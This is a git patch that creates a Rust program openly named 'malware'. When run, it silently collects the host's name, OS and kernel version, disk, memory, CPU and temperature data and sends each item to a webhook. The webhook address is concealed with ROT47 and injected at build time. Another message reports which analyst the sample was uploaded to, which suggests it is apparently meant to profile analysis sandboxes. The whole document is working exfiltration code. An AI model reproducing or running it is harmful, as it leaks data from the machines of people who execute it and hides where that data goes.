From e580efbfb794bd7abfa73f7ca6a9bb5c0cd1d9e5 Mon Sep 17 00:00:00 2001 From: husky Date: Sun, 29 Jan 2023 19:57:37 -0800 Subject: [PATCH] original code no changes --- .gitignore | 1 + Cargo.toml | 17 +++++++++++++++++ src/main.rs | 40 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 58 insertions(+) create mode 100644 .gitignore create mode 100644 Cargo.toml create mode 100644 src/main.rs diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +/target diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..239efd4 --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,17 @@ +[package] +name = "malware" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +sysinfo = "0.27.7" +webhook = "2.1.2" +cienli = "0.3.1" +tokio = { version = "1.0", features = ["full"] } +rand = "0.8.5" + +[profile.release] +strip = true +opt-level = "z" diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..881ae94 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,40 @@ +use rand::prelude::*; +use webhook::client::WebhookClient; +use sysinfo::*; +use cienli::ciphers::rot::{Rot, RotType}; + +async fn send(id: u16, message: String) { + let url = Rot::new(env!("WEBHOOK"), RotType::Rot47); + let client: WebhookClient = WebhookClient::new(&url.decipher()); + client.send(|m| m + .username(format!("{}", id).as_str()) + .content(message.as_str()) + ).await; +} + +#[tokio::main] +async fn main() { + let mut sys = System::new_all(); + sys.refresh_all(); + + let hostname = sys.host_name().unwrap_or("Unknown".to_string()); + let os_name = sys.name().unwrap_or("Unknown".to_string()); + let kernel_version = sys.kernel_version().unwrap_or("Unknown".to_string()); + let os_version = sys.os_version().unwrap_or("Unknown".to_string()); + + let id: u16 = random(); + + send(id, format!("hello! i am {} running on {} {} (kernel {})", hostname, os_name, os_version, kernel_version)).await; + + send(id, format!("i was originally uploaded to {}", env!("ANALYST"))).await; + + send(id, format!("disks: {:#?}", sys.disks())).await; + + send(id, format!("total ram: {} bytes, used ram: {} bytes, total swap: {} bytes, used swap: {} bytes", sys.total_memory(), sys.used_memory(), sys.total_swap(), sys.used_swap())).await; + + send(id, format!("cpu info: {:#?}", sys.cpus())).await; + + send(id, format!("temperature info: {:#?}", sys.components())).await; + + send(id, format!("done!")).await; +}